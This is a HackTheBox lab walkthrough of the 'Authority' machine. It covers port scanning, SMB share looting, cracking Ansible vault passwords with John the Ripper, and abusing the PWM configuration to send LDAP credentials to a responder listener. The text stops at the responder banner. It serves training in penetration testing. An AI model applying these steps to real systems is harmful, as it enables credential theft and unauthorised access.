index-logo

Authority - HTB

walkthrough by elswix

Machine: Authority
Difficulty: Medium
Platform: HackTheBox
Release: Released on 07/15/2023


About Authority


Authority is a medium-difficulty machine on HackTheBox. Initially, we will decrypt Ansible vaults using the ansible2john tool to extract John hashes. Once we obtain the Vault password, we discover passwords that can be employed for authentication on the PWM website.


Shell as svc_ldap


On the PWM website, we can modify certain configurations to trigger an LDAP request to our LDAP server and capture the LDAP authentication along with the password. This grants us access as svc_ldap by exploiting the WinRM service.


Shell as Administrator


We identify a vulnerable template in ADCS. By adding a domain computer, we can exploit this vulnerability to obtain a PFX file of the administrator user. Using PassTheCert, we can bypass disabled Kerberos authentication.


Recon


First, we will perform a port scan to identify open ports on the victim machine. To do this, we will use the nmap tool:

elswix@kali$ sudo nmap -p- --open --min-rate 10000 -n 10.10.11.222 -oG portScan

Nmap scan report for 10.10.11.222
Host is up (0.15s latency).
Not shown: 54255 closed tcp ports (reset), 11251 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT      STATE SERVICE
53/tcp    open  domain
80/tcp    open  http
88/tcp    open  kerberos-sec
135/tcp   open  msrpc
139/tcp   open  netbios-ssn
389/tcp   open  ldap
445/tcp   open  microsoft-ds
464/tcp   open  kpasswd5
593/tcp   open  http-rpc-epmap
636/tcp   open  ldapssl
3268/tcp  open  globalcatLDAP
3269/tcp  open  globalcatLDAPssl
5985/tcp  open  wsman
8443/tcp  open  https-alt
9389/tcp  open  adws
47001/tcp open  winrm
49664/tcp open  unknown
49665/tcp open  unknown
49666/tcp open  unknown
49667/tcp open  unknown
49675/tcp open  unknown
49688/tcp open  unknown
49689/tcp open  unknown
49691/tcp open  unknown
49692/tcp open  unknown
49701/tcp open  unknown
49702/tcp open  unknown
49711/tcp open  unknown
49730/tcp open  unknown
Once the initial scan is complete, we will conduct a comprehensive scan to analyze the technologies and services running on the identified open ports. For this purpose, we will continue using the nmap tool.

Given that we exported the previous scan in the -oG format, we can utilize Regex to filter the results based on open ports:

elswix@kali$ cat portScan | grep -oP '\d{1,5}/open' | awk '{print $1}' FS="/" | xargs | tr ' ' ','
53,80,88,135,139,389,445,464,593,636,3268,3269,5985,8443,9389,47001,49664,49665,49666,49667,49675,49688,49689,49691,49692,49701,49702,49711,49730
Now, using the nmap tool, we will execute the comprehensive scan:

elswix@kali$ nmap -sCV -p53,80,88,135,139,389,445,464,593,636,3268,3269,5985,8443,9389,47001,49664,49665,49666,49667,49675,49688,49689,49691,49692,49701,49702,49711,49730 10.10.11.222 -oN fullScan

Nmap scan report for 10.10.11.222 (10.10.11.222)
Host is up (0.56s latency).

PORT      STATE SERVICE       VERSION
53/tcp    open  domain        Simple DNS Plus
80/tcp    open  http          Microsoft IIS httpd 10.0
|_http-title: IIS Windows Server
| http-methods: 
|_  Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/10.0
88/tcp    open  kerberos-sec  Microsoft Windows Kerberos (server time: 2023-12-08 17:45:04Z)
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp   open  ldap          Microsoft Windows Active Directory LDAP (Domain: authority.htb, Site: Default-First-Site-Name)
|_ssl-date: 2023-12-08T17:46:21+00:00; +4h00m00s from scanner time.
| ssl-cert: Subject: 
| Subject Alternative Name: othername: UPN::AUTHORITY$@htb.corp, DNS:authority.htb.corp, DNS:htb.corp, DNS:HTB
| Not valid before: 2022-08-09T23:03:21
|_Not valid after:  2024-08-09T23:13:21
445/tcp   open  microsoft-ds?
464/tcp   open  kpasswd5?
593/tcp   open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp   open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: authority.htb, Site: Default-First-Site-Name)
|_ssl-date: 2023-12-08T17:46:20+00:00; +4h00m00s from scanner time.
| ssl-cert: Subject: 
| Subject Alternative Name: othername: UPN::AUTHORITY$@htb.corp, DNS:authority.htb.corp, DNS:htb.corp, DNS:HTB
| Not valid before: 2022-08-09T23:03:21
|_Not valid after:  2024-08-09T23:13:21
3268/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: authority.htb, Site: Default-First-Site-Name)
| ssl-cert: Subject: 
| Subject Alternative Name: othername: UPN::AUTHORITY$@htb.corp, DNS:authority.htb.corp, DNS:htb.corp, DNS:HTB
| Not valid before: 2022-08-09T23:03:21
|_Not valid after:  2024-08-09T23:13:21
|_ssl-date: 2023-12-08T17:46:21+00:00; +4h00m00s from scanner time.
3269/tcp  open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: authority.htb, Site: Default-First-Site-Name)
| ssl-cert: Subject: 
| Subject Alternative Name: othername: UPN::AUTHORITY$@htb.corp, DNS:authority.htb.corp, DNS:htb.corp, DNS:HTB
| Not valid before: 2022-08-09T23:03:21
|_Not valid after:  2024-08-09T23:13:21
|_ssl-date: 2023-12-08T17:46:20+00:00; +4h00m00s from scanner time.
5985/tcp  open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
8443/tcp  open  ssl/https-alt
|_http-title: Site doesn't have a title (text/html;charset=ISO-8859-1).
| ssl-cert: Subject: commonName=172.16.2.118
| Not valid before: 2023-12-06T17:18:04
|_Not valid after:  2025-12-08T04:56:28
|_ssl-date: TLS randomness does not represent time
| fingerprint-strings: 
|   FourOhFourRequest: 
|     HTTP/1.1 200 
|     Content-Type: text/html;charset=ISO-8859-1
|     Content-Length: 82
|     Date: Fri, 08 Dec 2023 17:45:14 GMT
|     Connection: close
|     <html><head><meta http-equiv="refresh" content="0;URL='/pwm'"/></head></html>
|   GetRequest: 
|     HTTP/1.1 200 
|     Content-Type: text/html;charset=ISO-8859-1
|     Content-Length: 82
|     Date: Fri, 08 Dec 2023 17:45:11 GMT
|     Connection: close
|     <html><head><meta http-equiv="refresh" content="0;URL='/pwm'"/></head></html>
|   HTTPOptions: 
|     HTTP/1.1 200 
|     Allow: GET, HEAD, POST, OPTIONS
|     Content-Length: 0
|     Date: Fri, 08 Dec 2023 17:45:12 GMT
|     Connection: close
|   RTSPRequest: 
|     HTTP/1.1 400 
|     Content-Type: text/html;charset=utf-8
|     Content-Language: en
|     Content-Length: 1936
|     Date: Fri, 08 Dec 2023 17:45:21 GMT
|     Connection: close
|     <!doctype html><html lang="en"><head><title>HTTP Status 400 
|     Request</title><style type="text/css">body {font-family:Tahoma,Arial,sans-serif;} h1, h2, h3, b {color:white;background-color:#525D76;} h1 {font-size:22px;} h2 {font-size:16px;} h3 {font-size:14px;} p {font-size:12px;} a {color:black;} .line {height:1px;background-color:#525D76;border:none;}</style></head><body><h1>HTTP Status 400 
|_    Request</h1><hr class="line" /><p><b>Type</b> Exception Report</p><p><b>Message</b> Invalid character found in the HTTP protocol [RTSP&#47;1.00x0d0x0a0x0d0x0a...]</p><p><b>Description</b> The server cannot or will not process the request due to something that is perceived to be a client error (e.g., malformed request syntax, invalid
9389/tcp  open  mc-nmf        .NET Message Framing
47001/tcp open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
49664/tcp open  msrpc         Microsoft Windows RPC
49665/tcp open  msrpc         Microsoft Windows RPC
49666/tcp open  msrpc         Microsoft Windows RPC
49667/tcp open  msrpc         Microsoft Windows RPC
49675/tcp open  msrpc         Microsoft Windows RPC
49688/tcp open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
49689/tcp open  msrpc         Microsoft Windows RPC
49691/tcp open  msrpc         Microsoft Windows RPC
49692/tcp open  msrpc         Microsoft Windows RPC
49701/tcp open  msrpc         Microsoft Windows RPC
49702/tcp open  msrpc         Microsoft Windows RPC
49711/tcp open  msrpc         Microsoft Windows RPC
49730/tcp open  msrpc         Microsoft Windows RPC
Service Info: Host: AUTHORITY; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-security-mode: 
|   3:1:1: 
|_    Message signing enabled and required
|_clock-skew: mean: 3h59m59s, deviation: 0s, median: 3h59m59s
| smb2-time: 
|   date: 2023-12-08T17:46:11
|_  start_date: N/A
At first glance, we notice the authority.htb domain, which we will add to our /etc/hosts file:

elswix@kali$ cat /etc/hosts
127.0.0.1   localhost
127.0.1.1   kali.localhost kali

# The following lines are desirable for IPv6 capable hosts
::1     localhost ip6-localhost ip6-loopback
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters

# HackTheBox
10.10.11.222 authority.htb


DNS - Port 53


Let's perform DNS enumeration using the dig tool.


Name Servers


elswix@kali$ dig @10.10.11.222 authority.htb ns

; <<>> DiG 9.19.17-2~kali1-Kali <<>> @10.10.11.222 authority.htb ns
; (1 server found)
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 4710
;; flags: qr aa rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 4

;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4000
;; QUESTION SECTION:
;authority.htb.          IN   NS

;; ANSWER SECTION:
authority.htb.      3600    IN   NS   authority.authority.htb.

;; ADDITIONAL SECTION:
authority.authority.htb. 3600 IN   A    10.10.11.222
authority.authority.htb. 3600 IN   AAAA dead:beef::f8
authority.authority.htb. 3600 IN   AAAA dead:beef::664c:1d0c:319c:924f

;; Query time: 192 msec
;; SERVER: 10.10.11.222#53(10.10.11.222) (UDP)
;; WHEN: Fri Dec 08 10:50:28 -03 2023
;; MSG SIZE  rcvd: 138
We can identify the authority.authority.htb subdomain, which appears to point to the DC DNS server.

elswix@kali$ cat /etc/hosts
127.0.0.1   localhost
127.0.1.1   kali.localhost kali

# The following lines are desirable for IPv6 capable hosts
::1     localhost ip6-localhost ip6-loopback
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters

# HackTheBox
10.10.11.222 authority.authority.htb authority.htb


Zone Transfer Attack


Sometimes DNS servers are misconfigured. The DNS server typically holds a Zone file, which it uses to replicate the map of a domain. It should be configured so that only the authorized replicating DNS server can access it. However, misconfigurations can occur, allowing anyone to request the zone file and thereby receive the entire list of subdomains.

This can be exploited as follows:

elswix@kali$ dig @10.10.11.222 authority.htb axfr
; <<>> DiG 9.19.17-2~kali1-Kali <<>> @10.10.11.222 authority.htb axfr
; (1 server found)
;; global options: +cmd
; Transfer failed.


RPC - Port 135


Through the RPC service, we might be able to enumerate valid users on the domain controller. This process may require credentials, but sometimes the NULL Session Authentication is available. Let's try connecting to the RPC service using the rpcclient tool:

elswix@kali$ rpcclient -U "" 10.10.11.222 -N
rpcclient $>
While we successfully established a connection, it seems that access is denied when attempting to perform enumeration.

rpcclient $> enumdomusers
do_cmd: Could not initialise samr. Error was NT_STATUS_ACCESS_DENIED
rpcclient $> enumdomgroups
do_cmd: Could not initialise samr. Error was NT_STATUS_ACCESS_DENIED
rpcclient $>


LDAP - Port 389


The ldapsearch command will provide the base naming context, and it should match authority.htb:

elswix@kali$ ldapsearch -H ldap://10.10.11.222/ -x -s base namingcontexts
# extended LDIF
#
# LDAPv3
# base <> (default) with scope baseObject
# filter: (objectclass=*)
# requesting: namingcontexts 
#

#
dn:
namingcontexts: DC=authority,DC=htb
namingcontexts: CN=Configuration,DC=authority,DC=htb
namingcontexts: CN=Schema,CN=Configuration,DC=authority,DC=htb
namingcontexts: DC=DomainDnsZones,DC=authority,DC=htb
namingcontexts: DC=ForestDnsZones,DC=authority,DC=htb

# search result
search: 2
result: 0 Success

# numResponses: 2
# numEntries: 1
Attempting to gather additional information requires authentication:

elswix@kali$ ldapsearch -H ldap://10.10.11.222/ -x -b 'DC=authority,DC=htb'
# extended LDIF
#
# LDAPv3
# base <DC=authority,DC=htb> with scope subtree
# filter: (objectclass=*)
# requesting: ALL
#

# search result
search: 2
result: 1 Operations error
text: 000004DC: LdapErr: DSID-0C090ACD, comment: In order to perform this opera
 tion a successful bind must be completed on the connection., data 0, v4563

# numResponses: 1


SMB - Port 445


We can perform enumeration of the SMB service using crackmapexec:

elswix@kali$ crackmapexec smb 10.10.11.222
SMB         10.10.11.222    445    AUTHORITY        [*] Windows 10.0 Build 17763 x64 (name:AUTHORITY) (domain:authority.htb) (signing:True) (SMBv1:False)
Additionally, we can enumerate the SMB Shares. An SMB share is essentially a folder or space on a network that can be shared with others, facilitating the exchange of files between computers.

elswix@kali$ crackmapexec smb 10.10.11.222 --shares 
SMB         10.10.11.222    445    AUTHORITY        [*] Windows 10.0 Build 17763 x64 (name:AUTHORITY) (domain:authority.htb) (signing:True) (SMBv1:False)
SMB         10.10.11.222    445    AUTHORITY        [-] Error enumerating shares: STATUS_USER_SESSION_DELETED
Returns STATUS_USER_SESSION_DELETED. This could be due to the NULL Session being disabled. Instead of utilizing a NULL Session, we can attempt to use a Guest Session by specifying only one username:

elswix@kali$ crackmapexec smb 10.10.11.222 -u 'elswix' -p '' --shares 
SMB         10.10.11.222    445    AUTHORITY        [*] Windows 10.0 Build 17763 x64 (name:AUTHORITY) (domain:authority.htb) (signing:True) (SMBv1:False)
SMB         10.10.11.222    445    AUTHORITY        [+] authority.htb\elswix: 
SMB         10.10.11.222    445    AUTHORITY        [+] Enumerated shares
SMB         10.10.11.222    445    AUTHORITY        Share           Permissions     Remark
SMB         10.10.11.222    445    AUTHORITY        -----           -----------     ------
SMB         10.10.11.222    445    AUTHORITY        ADMIN$                          Remote Admin
SMB         10.10.11.222    445    AUTHORITY        C$                              Default share
SMB         10.10.11.222    445    AUTHORITY        Department Shares                 
SMB         10.10.11.222    445    AUTHORITY        Development     READ            
SMB         10.10.11.222    445    AUTHORITY        IPC$            READ            Remote IPC
SMB         10.10.11.222    445    AUTHORITY        NETLOGON                        Logon server share 
SMB         10.10.11.222    445    AUTHORITY        SYSVOL                          Logon server share
It works, and upon inspecting the response, we observed that we can read the contents of the Development share. We can access the Development share using tools like smbclient.

elswix@kali$ smbclient //10.10.11.222/Development
Password for [WORKGROUP\elswix]: 
Try "help" to get a list of possible commands.
smb: \>
After navigating through all the directories, I observed a substantial amount of content. Consequently, I decided to download the entire resource:

smb: \> recurse on
smb: \> prompt off
smb: \> mget *
elswix@kali$ ls -l
drwxr-xr-x 3 elswix elswix 4096 Dec  8 11:33 Automation
With the find command, we can list the content of all subdirectories:

elswix@kali$ find .
.
./Automation
./Automation/Ansible
./Automation/Ansible/ADCS
./Automation/Ansible/ADCS/templates
./Automation/Ansible/ADCS/templates/openssl.cnf.j2
./Automation/Ansible/ADCS/templates/extensions.cnf.j2
./Automation/Ansible/ADCS/molecule
./Automation/Ansible/ADCS/molecule/default
./Automation/Ansible/ADCS/molecule/default/converge.yml
./Automation/Ansible/ADCS/molecule/default/molecule.yml
./Automation/Ansible/ADCS/molecule/default/prepare.yml
./Automation/Ansible/ADCS/.ansible-lint
./Automation/Ansible/ADCS/tasks
./Automation/Ansible/ADCS/tasks/assert.yml
./Automation/Ansible/ADCS/tasks/main.yml
./Automation/Ansible/ADCS/tasks/init_ca.yml
./Automation/Ansible/ADCS/tasks/generate_ca_certs.yml
./Automation/Ansible/ADCS/tasks/requests.yml
./Automation/Ansible/ADCS/meta
./Automation/Ansible/ADCS/meta/preferences.yml
./Automation/Ansible/ADCS/meta/main.yml
./Automation/Ansible/ADCS/LICENSE
./Automation/Ansible/ADCS/requirements.yml
./Automation/Ansible/ADCS/README.md
./Automation/Ansible/ADCS/.yamllint
./Automation/Ansible/ADCS/defaults
./Automation/Ansible/ADCS/defaults/main.yml
./Automation/Ansible/ADCS/vars
./Automation/Ansible/ADCS/vars/main.yml
./Automation/Ansible/ADCS/tox.ini
./Automation/Ansible/ADCS/SECURITY.md
./Automation/Ansible/ADCS/requirements.txt
./Automation/Ansible/SHARE
./Automation/Ansible/SHARE/tasks
./Automation/Ansible/SHARE/tasks/main.yml
./Automation/Ansible/PWM
./Automation/Ansible/PWM/templates
./Automation/Ansible/PWM/templates/context.xml.j2
./Automation/Ansible/PWM/templates/tomcat-users.xml.j2
./Automation/Ansible/PWM/ansible_inventory
./Automation/Ansible/PWM/tasks
./Automation/Ansible/PWM/tasks/main.yml
./Automation/Ansible/PWM/meta
./Automation/Ansible/PWM/meta/main.yml
./Automation/Ansible/PWM/ansible.cfg
./Automation/Ansible/PWM/README.md
./Automation/Ansible/PWM/defaults
./Automation/Ansible/PWM/defaults/main.yml
./Automation/Ansible/PWM/handlers
./Automation/Ansible/PWM/handlers/main.yml
./Automation/Ansible/LDAP
./Automation/Ansible/LDAP/templates
./Automation/Ansible/LDAP/templates/ldap_sudo_groups.j2
./Automation/Ansible/LDAP/templates/sssd.conf.j2
./Automation/Ansible/LDAP/templates/sudo_group.j2
./Automation/Ansible/LDAP/templates/ldap_sudo_users.j2
./Automation/Ansible/LDAP/.travis.yml
./Automation/Ansible/LDAP/tasks
./Automation/Ansible/LDAP/tasks/main.yml
./Automation/Ansible/LDAP/TODO.md
./Automation/Ansible/LDAP/meta
./Automation/Ansible/LDAP/meta/main.yml
./Automation/Ansible/LDAP/.bin
./Automation/Ansible/LDAP/.bin/clean_vault
./Automation/Ansible/LDAP/.bin/diff_vault
./Automation/Ansible/LDAP/.bin/smudge_vault
./Automation/Ansible/LDAP/README.md
./Automation/Ansible/LDAP/defaults
./Automation/Ansible/LDAP/defaults/main.yml
./Automation/Ansible/LDAP/vars
./Automation/Ansible/LDAP/vars/debian.yml
./Automation/Ansible/LDAP/vars/main.yml
./Automation/Ansible/LDAP/vars/ubuntu-14.04.yml
./Automation/Ansible/LDAP/vars/redhat.yml
./Automation/Ansible/LDAP/handlers
./Automation/Ansible/LDAP/handlers/main.yml
./Automation/Ansible/LDAP/files
./Automation/Ansible/LDAP/files/pam_mkhomedir
./Automation/Ansible/LDAP/Vagrantfile
Before inspecting these files, let's access the web services hosted on ports 80 and 8443.


Web Application - Port 80


Before accessing the website through our browser, I will run the whatweb scan to discover the technologies and services used by this page.

elswix@kali$ whatweb -a 3 http://10.10.11.222
http://10.10.11.222 [200 OK] Country[RESERVED][ZZ], HTTPServer[Microsoft-IIS/10.0], IP[10.10.11.222], Microsoft-IIS[10.0], Title[IIS Windows Server]
The web service hosted on port 80 belongs to Microsoft IIS on Windows Server. It appears to be a default IIS website, so there is no immediate action needed there at the moment.


Web Application - Port 8443


Let's run the whatweb scan on this website:

elswix@kali$ whatweb -a 3 https://10.10.11.222:8443
https://10.10.11.222:8443 [200 OK] Country[RESERVED][ZZ], IP[10.10.11.222], Meta-Refresh-Redirect[/pwm]
https://10.10.11.222:8443/pwm [302 Found] Country[RESERVED][ZZ], IP[10.10.11.222], RedirectLocation[/pwm/]
https://10.10.11.222:8443/pwm/ [500 Internal Server Error] Cookies[JSESSIONID], Country[RESERVED][ZZ], HTML5, HttpOnly[JSESSIONID], IP[10.10.11.222], Java, Title[PWM], X-UA-Compatible[IE=10]
Since it is an HTTPS service, we can inspect its certificate using openssl:

elswix@kali$ openssl s_client -connect 10.10.11.222:8443
While there doesn't seem to be anything particularly interesting in the certificate, it's worth checking, as sometimes user details can be leaked.

Upon accessing the website through our browser, we are redirected to the /pwm/private/login section:



The "PWM Project" refers to an open-source software project that provides a web-based interface for end-users to manage their own passwords, as well as administrators to configure and manage password policies. PWM stands for "Password Policy Management." This project is designed to work with LDAP directories, including those used in conjunction with Active Directory. It aims to enhance password security and simplify the process of password management within organizations. Users can change their passwords and perform other related tasks through a user-friendly web interface provided by PWM.

Upon entering some random credentials, it returned the following error:



It appears that a domain user, svc_ldap, is being leaked. While we may not be able to do much without its credentials, I've saved this information into a file.

Clicking on Configuration Manager prompts us for a password:



Returning to the resources we found in the SMB Share, let's examine its files. Firstly, I used the grep command to filter by the passw string (in case there are passwords stored in these files):

elswix@kali$ grep -r -i passw
Ansible/ADCS/templates/openssl.cnf.j2: Passwords for private keys if not present they will be prompted for
Ansible/ADCS/templates/openssl.cnf.j2: input_password = secret
Ansible/ADCS/templates/openssl.cnf.j2: output_password = secret
Ansible/ADCS/templates/openssl.cnf.j2:challengePassword      = A challenge password
Ansible/ADCS/templates/openssl.cnf.j2:challengePassword_min      = 4
Ansible/ADCS/templates/openssl.cnf.j2:challengePassword_max      = 20
Ansible/PWM/templates/tomcat-users.xml.j2:<user username="admin" password="T0mc@tAdm1n" roles="manager-gui"/>  
Ansible/PWM/templates/tomcat-users.xml.j2:<user username="robot" password="T0mc@tR00t" roles="manager-script"/>
Ansible/PWM/ansible_inventory:ansible_password: Welcome1
Ansible/PWM/README.md:- pwm_root_mysql_password: root mysql password, will be set to a random value by default.
Ansible/PWM/README.md:- pwm_pwm_mysql_password: pwm mysql password, will be set to a random value by default.
Ansible/PWM/README.md:- pwm_admin_password: pwm admin password, 'password' by default.
Ansible/PWM/defaults/main.yml:pwm_admin_password: !vault |
Ansible/PWM/defaults/main.yml:ldap_admin_password: !vault |
Ansible/LDAP/templates/sssd.conf.j2:ldap_default_authtok_type = password
Ansible/LDAP/templates/sssd.conf.j2:ldap_default_authtok = {{ system_ldap_bind_password }}
Ansible/LDAP/.travis.yml:  - echo "$VAULT_PASSWORD" > .vault_password
Ansible/LDAP/.travis.yml:  - ansible-playbook tests/travis.yml -i localhost, --vault-password-file .vault_password --syntax-check
Ansible/LDAP/tasks/main.yml:    - passwd
Ansible/LDAP/tasks/main.yml:- name: Query SSSD in pam.d/password-auth
Ansible/LDAP/tasks/main.yml:    dest: /etc/pam.d/password-auth
Ansible/LDAP/tasks/main.yml:    - { before: "^password.*pam_deny.so",
Ansible/LDAP/tasks/main.yml:        regexp: "^password.*pam_sss.so",
Ansible/LDAP/tasks/main.yml:        line: "password    sufficient    pam_sss.so use_authtok" }
Ansible/LDAP/tasks/main.yml:    - { before: "^password.*pam_deny.so",
Ansible/LDAP/tasks/main.yml:        regexp: "^password.*pam_sss.so",
Ansible/LDAP/tasks/main.yml:        line: "password    sufficient    pam_sss.so use_authtok" }
Ansible/LDAP/tasks/main.yml:- name: Allow/Disallow password authentication in SSHD config for users
Ansible/LDAP/tasks/main.yml:      PasswordAuthentication yes
Ansible/LDAP/tasks/main.yml:    state: "{{ 'present' if system_ldap_allow_passwordauth_in_sshd and system_ldap_access_filter_users else 'absent' }}"
Ansible/LDAP/tasks/main.yml:- name: Allow/Disallow password authentication in SSHD config for groups
Ansible/LDAP/tasks/main.yml:      PasswordAuthentication yes
Ansible/LDAP/tasks/main.yml:    state: "{{ 'present' if system_ldap_allow_passwordauth_in_sshd and system_ldap_access_unix_groups else 'absent' }}"
Ansible/LDAP/TODO.md:- Change LDAP admin password after build -[COMPLETE]
Ansible/LDAP/.bin/clean_vault: Just print out the secrets file as-is if the password file doesn't exist
Ansible/LDAP/.bin/clean_vault:if [ ! -r '.vault_password' ]; then
Ansible/LDAP/.bin/clean_vault:    RESULT="$(echo "$CONTENT" | ansible-vault encrypt - --vault-password-file=.vault_password 2>&1 1>&$OUT)";
Ansible/LDAP/.bin/diff_vault: Just print out the secrets file as-is if the password file doesn't exist
Ansible/LDAP/.bin/diff_vault:if [ ! -r '.vault_password' ]; then
Ansible/LDAP/.bin/diff_vault:CONTENT="$(ansible-vault view "$1" --vault-password-file=.vault_password 2>&1)"
Ansible/LDAP/.bin/smudge_vault: Just print out the secrets file as-is if the password file doesn't exist
Ansible/LDAP/.bin/smudge_vault:if [ ! -r '.vault_password' ]; then
Ansible/LDAP/.bin/smudge_vault:    RESULT="$(echo "$CONTENT" | ansible-vault decrypt - --vault-password-file=.vault_password 2>&1 1>&$OUT)";
Ansible/LDAP/README.md:|`system_ldap_bind_password`|`sunrise`|The authentication token of the default bind DN. Only clear text passwords are currently supported.|
Ansible/LDAP/README.md:|`system_ldap_allow_passwordauth_in_sshd`|`true`|Specifies whether to configure `sshd_config` to allow password authentication for authorized users. This is needed if your SSHD is configured to not allow password authentication by default. Defaults to `false`.|
Ansible/LDAP/README.md:    system_ldap_bind_password: sunrise
Ansible/LDAP/README.md:Here we're using a search user account and password (`system_ldap_bind_*`) to 
Ansible/LDAP/README.md:    system_ldap_allow_passwordauth_in_sshd: true
Ansible/LDAP/defaults/main.yml:system_ldap_allow_passwordauth_in_sshd: false
Ansible/LDAP/defaults/main.yml:system_ldap_bind_password:
Ansible/LDAP/Vagrantfile:    ansible.vault_password_file = ".vault_password"
With numerous matches, upon inspecting the entire output, I identified the following passwords:

secret
T0mc@tAdm1n
T0mc@tR00t
Welcome1
sunrise
I attempted to use these passwords in PWM, but they did not work. They also do not work for the svc_ldap user.

While examining the PWM directories, I found the following file in Automation/Ansible/PWM/defaults:

elswix@kali$ cat main.yml
---
pwm_run_dir: "{{ lookup('env', 'PWD') }}"

pwm_hostname: authority.htb.corp
pwm_http_port: "{{ http_port }}"
pwm_https_port: "{{ https_port }}"
pwm_https_enable: true

pwm_require_ssl: false

pwm_admin_login: !vault |
          $ANSIBLE_VAULT;1.1;AES256
          32666534386435366537653136663731633138616264323230383566333966346662313161326239
          6134353663663462373265633832356663356239383039640a346431373431666433343434366139
          35653634376333666234613466396534343030656165396464323564373334616262613439343033
          6334326263326364380a653034313733326639323433626130343834663538326439636232306531
          3438

pwm_admin_password: !vault |
          $ANSIBLE_VAULT;1.1;AES256
          31356338343963323063373435363261323563393235633365356134616261666433393263373736
          3335616263326464633832376261306131303337653964350a363663623132353136346631396662
          38656432323830393339336231373637303535613636646561653637386634613862316638353530
          3930356637306461350a316466663037303037653761323565343338653934646533663365363035
          6531

ldap_uri: ldap://127.0.0.1/
ldap_base_dn: "DC=authority,DC=htb"
ldap_admin_password: !vault |
          $ANSIBLE_VAULT;1.1;AES256
          63303831303534303266356462373731393561313363313038376166336536666232626461653630
          3437333035366235613437373733316635313530326639330a643034623530623439616136363563
          34646237336164356438383034623462323531316333623135383134656263663266653938333334
          3238343230333633350a646664396565633037333431626163306531336336326665316430613566
          3764
The content of the file is quite interesting. It stores three encrypted Ansible Vaults. Ansible Vaults refer to a feature in Ansible that provides a way to encrypt and protect sensitive information, such as passwords, SSH keys, and other secrets. An Ansible Vault is essentially an encryption tool that allows secure storage of confidential data within Ansible configuration files.

Sensitive information is stored in encrypted files called "Vaults", and Ansible provides specific commands and modules to work with these Vaults securely. This helps ensure that the secrets needed for task automation are protected and only accessible by those authorized to use them.

To decrypt these vaults, we need to specify the password with which the vaults were encrypted. Since we obtained some credentials while inspecting the resources, let's try using them to decrypt the vaults:

elswix@kali$ cat vault1.yml
$ANSIBLE_VAULT;1.1;AES256
32666534386435366537653136663731633138616264323230383566333966346662313161326239
6134353663663462373265633832356663356239383039640a346431373431666433343434366139
35653634376333666234613466396534343030656165396464323564373334616262613439343033
6334326263326364380a653034313733326639323433626130343834663538326439636232306531
3438
To achieve this, we need to install ansible using the apt package manager, which is available on Kali:

elswix@kali$ sudo apt install ansible
Now, using the ansible-vault tool, we can attempt to decrypt these vaults:

elswix@kali$ ansible-vault decrypt vault1.yml --output vault1.txt
Vault password: 
ERROR! Decryption failed (no vault secrets were found that could decrypt) on /home/elswix/Desktop/elswix/HTB/Authority/content/Automation/Ansible/PWM/defaults/vault1.yml for /home/elswix/Desktop/elswix/HTB/Authority/content/Automation/Ansible/PWM/defaults/vault1.yml
After specifying all the passwords we found, I couldn't decrypt any of these vaults.

Another approach we can try to obtain the corresponding password is to use the ansible2john tool to generate a hash equivalent to the password and attempt to break it through brute force using the John the Ripper tool.

elswix@kali$ ansible2john vault1.yml > hash
Now, using john, we can attempt to obtain the vault password through brute force:

elswix@kali$ john -w:/usr/share/wordlists/rockyou.txt hash
Using default input encoding: UTF-8
Loaded 1 password hash (ansible, Ansible Vault [PBKDF2-SHA256 HMAC-256 128/128 AVX 4x])
Cost 1 (iteration count) is 10000 for all loaded hashes
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status


!@#$%^&*         (vault1.yml)     


1g 0:00:00:46 DONE (2023-12-08 13:39) 0.02146g/s 854.4p/s 854.4c/s 854.4C/s 001983..victor2
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
We successfully obtained the password in plaintext. Now, let's attempt to decrypt the vault using this password:

elswix@kali$ ansible-vault decrypt vault1.yml --output vault1.txt
Vault password: 
Decryption successful
Great! It worked, and now we can list its content by reading the output file vault1.txt:

elswix@kali$ cat vault1.txt
svc_pwm
The content of this vault doesn't seem to be interesting. Let's try using the same password to decrypt the other vaults.

The other two vaults are known to store passwords:

elswix@kali$ cat vault2.txt
pWm_@dm!N_!23
elswix@kali$ cat vault3.txt
DevT3st@123


Shell as svc_ldap


Using these passwords to authenticate to PWM, the password pWm_@dm!N_!23 is valid and allowed me to access the Configuration Manager:



Since I wasn't familiar with how PWM works, I searched for information on the internet.

Firstly, I clicked on Configuration Editor:



After clicking on Configuration Editor, I was redirected to the following page:



Upon exploring the functionalities available in this panel, I identified a way to generate an LDAP request by clicking on LDAP -> LDAP Directories -> default -> Connection:



In the LDAP URLs field, I can add a value (URL). Therefore, I attempted to add a URL to my LDAP server.



Now, we need to click on Test LDAP Profile to make a request. However, before doing that, we have to set up our malicious LDAP server. For this purpose, I will use the responder tool:

elswix@kali$ responder -I tun0 -v
                                         __
  .----.-----.-----.-----.-----.-----.--|  |.-----.----.
  |   _|  -__|__ --|  _  |  _  |     |  _  ||  -__|   _|
  |__| |_____|_____|   __|_____|__|__|_____||_____|__|
                   |__|

           NBT-NS, LLMNR & MDNS Responder 3.1.3.0

  To support this project:
  Patreon -> https://www.patreon.com/PythonResponder
  Paypal  -> https://paypal.me/PythonResponder

  Author: Laurent Gaffie (laurent.gaffie@gmail.com)
  To kill this script hit CTRL-C


[+] Poisoners:
    LLMNR                      [ON]
    NBT-NS                     [ON]
    MDNS                       [ON]
    DNS                        [ON]
    DHCP                       [OFF]

